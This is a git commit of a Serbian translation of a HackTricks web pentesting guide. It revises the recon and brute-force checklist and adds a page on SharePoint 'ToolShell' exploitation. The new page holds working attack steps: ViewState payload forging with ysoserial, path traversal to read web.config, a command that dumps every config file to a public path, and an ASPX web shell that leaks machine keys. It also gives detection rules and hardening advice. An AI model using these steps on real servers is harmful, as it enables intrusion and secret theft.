Translated ['src/network-services-pentesting/pentesting-web/README.md',

This commit is contained in:
Translator 2025-07-22 14:15:18 +00:00
parent 1baef90fe6
commit bbd22656a7
3 changed files with 163 additions and 35 deletions

View File

@ -423,6 +423,7 @@
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)

View File

@ -29,11 +29,11 @@ web-api-pentesting.md
- [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju.
- [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije?
- [ ] Koristite li neku **poznatu tehnologiju**? Ima li nekih **korisnih trikova** za ekstrakciju više informacija?
- [ ] Koristite neku **poznatu tehnologiju**? Da li postoji neki **koristan trik** za ekstrakciju više informacija?
- [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)?
- [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
- [ ] Pokrenite **skenerе opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
- [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS).
- [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
- [ ] Počnite sa **spideringom** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._
- [ ] **Brute-Forcing direktorijuma**: Pokušajte da brute-forcujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**.
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
@ -54,9 +54,9 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Pretraži **za** [**ranjivosti web aplikacije** **verzije**](../../generic-hacking/search-exploits.md)
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Proveri da li postoji neki WAF**
### **Proverite da li postoji neki WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
@ -78,6 +78,7 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL baza podataka**](h2-java-sql-database.md)
- [**IIS trikovi**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
- [**Jira**](jira.md)
@ -99,14 +100,14 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
- [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/index.html)
_Uzmite u obzir da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **subdomenama**._\
Ako web aplikacija koristi neku poznatu **tehniku/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!).
Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!).
### Pregled izvornog koda
Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **vašeg vlastitog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**:
- Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem weba?
- Kako i gde se čuvaju **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisničkim imenima ili lozinkama)?
- Da li postoji **Change-log ili Readme ili Version** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem weba?
- Kako i gde se čuvaju **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisnička imena ili lozinke)?
- Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi?
- Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi?
- Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost?
@ -118,7 +119,7 @@ code-review-tools.md
### Automatski skeneri
#### Automatski skeneri opšte namene
#### Opšti automatski skeneri
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -135,7 +136,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda će se pronaći nešto zanimljivo:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** vebsajtovi za bezbednosne probleme. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** vebsajtovi za sigurnosne probleme. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -147,7 +148,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
```
> U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli i CMS i pokrenuli neki skener.
## Postupno otkrivanje web aplikacija
## Postupak otkrivanja web aplikacija
> Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom.
@ -168,15 +169,15 @@ Web serveri mogu **nepredvidivo reagovati** kada im se šalju čudni podaci. To
- Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc)
- **Dodajte "\[]", "]]", i "\[\["** u **vrednosti kolačića** i **vrednosti parametara** da biste izazvali greške
- Generišite grešku tako što ćete dati unos kao **`/~randomthing/%s`** na **kraj** **URL-a**
- Generišite grešku tako što ćete uneti **`/~randomthing/%s`** na **kraj** **URL-a**
- Pokušajte sa **različitim HTTP metodama** kao što su PATCH, DEBUG ili pogrešnim kao FAKE
#### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u korenski folder, pokušajte da:
Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da:
- **Brute Force** kredencijale
- **Otpremite fajlove** putem WebDav-a u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima.
- **Otpremite fajlove** putem WebDav u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole da otpremate fajlove u drugim folderima.
### **SSL/TLS ranjivosti**
@ -202,27 +203,27 @@ Informacije o SSL/TLS ranjivostima:
Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što više putanja** iz testirane aplikacije. Stoga, web crawling i spoljašnji izvori treba da se koriste za pronalaženje što više validnih putanja.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS datotekama i spoljašnjim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFinder-om za JS datoteke i Archive.org kao spoljnim izvorom.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe ukazuje na "sočne datoteke".
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider-om za JS datoteke i Archive.org kao spoljnim izvorom.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "sočne datoteke".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider, ali može biti koristan. Možete jednostavno naznačiti datoteku sa hostovima i datoteku sa putanjama, a meg će preuzeti svaku putanju na svakom hostu i sačuvati odgovor.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira.
- [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i navesti ih.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih putanja u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih putanja u JS datotekama. Takođe bi moglo biti korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec nindže.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript datoteka. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući datoteku (HTML) iz nje će izvući URL-ove koristeći pametnu regularnu ekspresiju za pronalaženje i ekstrakciju relativnih URL-ova iz ružnih (minify) datoteka.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupiti zanimljive informacije iz JS datoteka koristeći nekoliko alata.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupi zanimljive informacije iz JS datoteka koristeći nekoliko alata.
- [**subjs**](https://github.com/lc/subjs) (go): Pronađi JS datoteke.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učitaj stranicu u headless pretraživaču i ispiši sve URL-ove učitane za učitavanje stranice.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje nekoliko opcija prethodnih alata.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje putanja i parametara u JS datotekama.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobija beatified JS kod.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobija beatifikovani JS kod.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ovaj alat se koristi za otkrivanje krajnjih tačaka za dati cilj.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrijte linkove iz wayback mašine (takođe preuzimajući odgovore u wayback-u i tražeći više linkova).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawling (čak i popunjavanjem obrazaca) i takođe pronalaženje osetljivih informacija koristeći specifične regex-e.
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlujte (čak i popunjavanjem obrazaca) i takođe pronađite osetljive informacije koristeći specifične regex-e.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni GUI web sigurnosni crawler/spider dizajniran za profesionalce u sajber bezbednosti.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To je Go paket i [alat komandne linije](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, putanja, tajni i drugih zanimljivih podataka iz JavaScript izvornog koda.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite ekstenzija** za **ekstrakciju parametara i krajnjih tačaka** iz zahteva kako bi se kreirala prilagođena rečnik za fuzzing i enumeraciju.
@ -231,7 +232,7 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
### Brute Force direktorijumi i datoteke
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo raditi **rekurzivno** i dodavati na početak korišćenog rečnika imena pronađenih direktorijuma).\
Alati:
- **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama.
@ -241,7 +242,7 @@ Alati:
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Brz: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider, već alat koji, dajući listu pronađenih URL-ova, briše "duplikate" URL-ova.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Ekstenzija za kreiranje liste direktorijuma iz burp istorije različitih stranica.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp ekstenzija za kreiranje liste direktorijuma iz burp istorije različitih stranica.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Uklanja URL-ove sa duplim funkcionalnostima (na osnovu js uvoza).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Koristi wapalyzer za otkrivanje korišćenih tehnologija i odabir rečnika za korišćenje.
@ -264,41 +265,41 @@ Alati:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forcovati._
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
### Šta proveriti na svakoj pronađenoj datoteci
- [**Proveravač pokvarenih linkova**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju.
- **Backup datoteke**: Kada pronađete sve datoteke, potražite backup svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backup-a su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Otkrijte nove parametre**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre na svakoj izvršnoj web datoteci.
- **Otkrijte nove parametre**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre na svakoj izvršnoj web datoteci.
- _Arjun svi podrazumevani rečnici:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**.
- Ako se igrate **CTF**, "uobičajena" trik je da se **sakrije** **informacija** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da se koriste **several new lines** i **sakriju informacije** u komentaru na **dnu** web stranice.
- Ako se igrate **CTF**, "uobičajena" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
- **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti.
- **S3 Buckets**: Tokom spidering-a proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/index.html).
- **S3 kante**: Tokom spideringa proverite da li je bilo koji **subdomen** ili bilo koji **link** povezan sa nekom **S3 kantom**. U tom slučaju, [**proverite** **dozvole** kante](buckets/index.html).
### Posebna otkrića
**Tokom** izvođenja **spidering-a** i **brute-forcing-a** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**.
**Tokom** izvođenja **spideringa** i **brute-forcinga** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**.
**Zanimljive datoteke**
- Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka.
- [Ako pronađete _**.git**_ datoteku, neke informacije mogu biti ekstraktovane](git.md)
- Ako pronađete _**.env**_ informacije kao što su api ključevi, lozinke za baze podataka i druge informacije mogu se pronaći.
- [Ako pronađete _**.git**_ datoteku, neka informacija može biti ekstraktovana](git.md)
- Ako pronađete _**.env**_ informacije kao što su API ključevi, lozinke za baze podataka i druge informacije mogu biti pronađene.
- Ako pronađete **API krajnje tačke** [trebalo bi ih takođe testirati](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
- **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
- Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li je ranjiva.
- **JS datoteke**: U sekciji spideringa pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
- Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li su ranjive.
- **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- U nekoliko slučajeva, moraćete da **razumete regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
- Takođe biste mogli **pratiti datoteke gde su obrasci otkriveni**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
- Takođe možete **pratiti datoteke u kojima su otkriveni obrasci**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -308,7 +309,7 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a i
**502 Proxy Error**
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
Ako neka stranica **odgovara** sa tim **kodom**, verovatno je u pitanju **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
**NTLM Authentication - Info disclosure**
@ -336,7 +337,7 @@ Pronađite više informacija o web ranjivostima na:
### Pratite stranice za promene
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za modifikacije koje bi mogle umetnuti ranjivosti.
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za modifikacije koje bi mogle uvesti ranjivosti.
### HackTricks Automatske Komande
```

View File

@ -0,0 +1,126 @@
# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (on-premises) je izgrađen na ASP.NET/IIS. Većina klasične web napadačke površine (ViewState, Web.Config, web shells, itd.) je stoga prisutna, ali SharePoint takođe dolazi sa stotinama vlasničkih ASPX stranica i web servisa koji dramatično povećavaju izloženu napadačku površinu. Ova stranica prikuplja praktične trikove za enumeraciju, eksploataciju i persistenciju unutar SharePoint okruženja sa naglaskom na 2025. exploit lanac koji je otkrio Unit42 (CVE-2025-49704/49706/53770/53771).
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 Code Injection on ToolPane.aspx
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` omogućava umetanje proizvoljnog *Server-Side Include* koda na stranicu koja se kasnije kompajlira od strane ASP.NET. Napadač može umetnuti C# koji izvršava `Process.Start()` i ubaciti zlonamerni ViewState.
### 2.2 CVE-2025-49706 Improper Authentication Bypass
Ista stranica veruje **X-Forms_BaseUrl** zaglavlju da odredi kontekst sajta. Usmeravanjem na `/_layouts/15/`, MFA/SSO primenjen na glavnom sajtu može biti zaobiđen **bez autentifikacije**.
### 2.3 CVE-2025-53770 Unauthenticated ViewState Deserialization → RCE
Kada napadač kontroliše uređaj u `ToolPane.aspx`, može poslati **nepotpisanu** (ili samo MAC) `__VIEWSTATE` vrednost koja pokreće .NET deserializaciju unutar *w3wp.exe* što dovodi do izvršenja koda.
Ako je potpisivanje omogućeno, ukradite **ValidationKey/DecryptionKey** iz bilo kog `web.config` (vidi 2.4) i falsifikujte payload sa *ysoserial.net* ili *ysodom*:
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
Za detaljno objašnjenje o zloupotrebi ASP.NET ViewState pročitajte:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 Putanja Traversal / web.config Otkriće
Slanjem kreiranog `Source` parametra na `ToolPane.aspx` (npr. `../../../../web.config`) vraća se ciljani fajl, omogućavajući curenje:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ falsifikovanje ViewState / ASPXAUTH kolačića
* stringovi za konekciju i tajne.
## 3. Post-exploitation recepti zabeleženi u divljini
### 3.1 Ekstraktovati svaki *.config* fajl (varijacija-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
Rezultantni `debug_dev.js` može se preuzeti anonimno i sadrži **sve** osetljive konfiguracije.
### 3.2 Postavljanje ASPX web shell-a kodiranog u Base64 (varijacija-2)
```
powershell.exe -EncodedCommand <base64>
```
Primer dekodirane payload (skraćeno):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
Napisano za:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
Shell izlaže krajnje tačke za **čitanje / rotaciju mašinskih ključeva** što omogućava falsifikovanje ViewState i ASPXAUTH kolačića širom farmi.
### 3.3 Obfuskovana varijanta (varijacija-3)
Isti shell, ali:
* postavljen pod `...\15\TEMPLATE\LAYOUTS\`
* imena promenljivih svedena na jednoslovne
* `Thread.Sleep(<ms>)` dodat za izbegavanje sandboxes i zaobilaženje AV-a zasnovano na vremenu.
## 4. Ideje za detekciju
| Telemetrija | Zašto je sumnjiva |
|--------------|-------------------|
| `w3wp.exe → cmd.exe` | Radni proces retko treba da pokreće shell |
| `cmd.exe → powershell.exe -EncodedCommand` | Klasičan lolbin obrazac |
| Događaji fajlova koji kreiraju `debug_dev.js` ili `spinstall0.aspx` | IOCs direktno iz ToolShell |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logovi) | Javne PoCs pozivaju ovu stranicu |
Primer XDR / Sysmon pravila (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. Ojačavanje i ublažavanje
1. **Patch** Jul 2025 bezbednosne ispravke rešavaju *sve* četiri CVE.
2. **Rotirajte** svaki `<machineKey>` i `ViewState` tajne nakon kompromitacije.
3. Uklonite *LAYOUTS* dozvolu za pisanje iz `WSS_WPG` i `WSS_ADMIN_WPG` grupa.
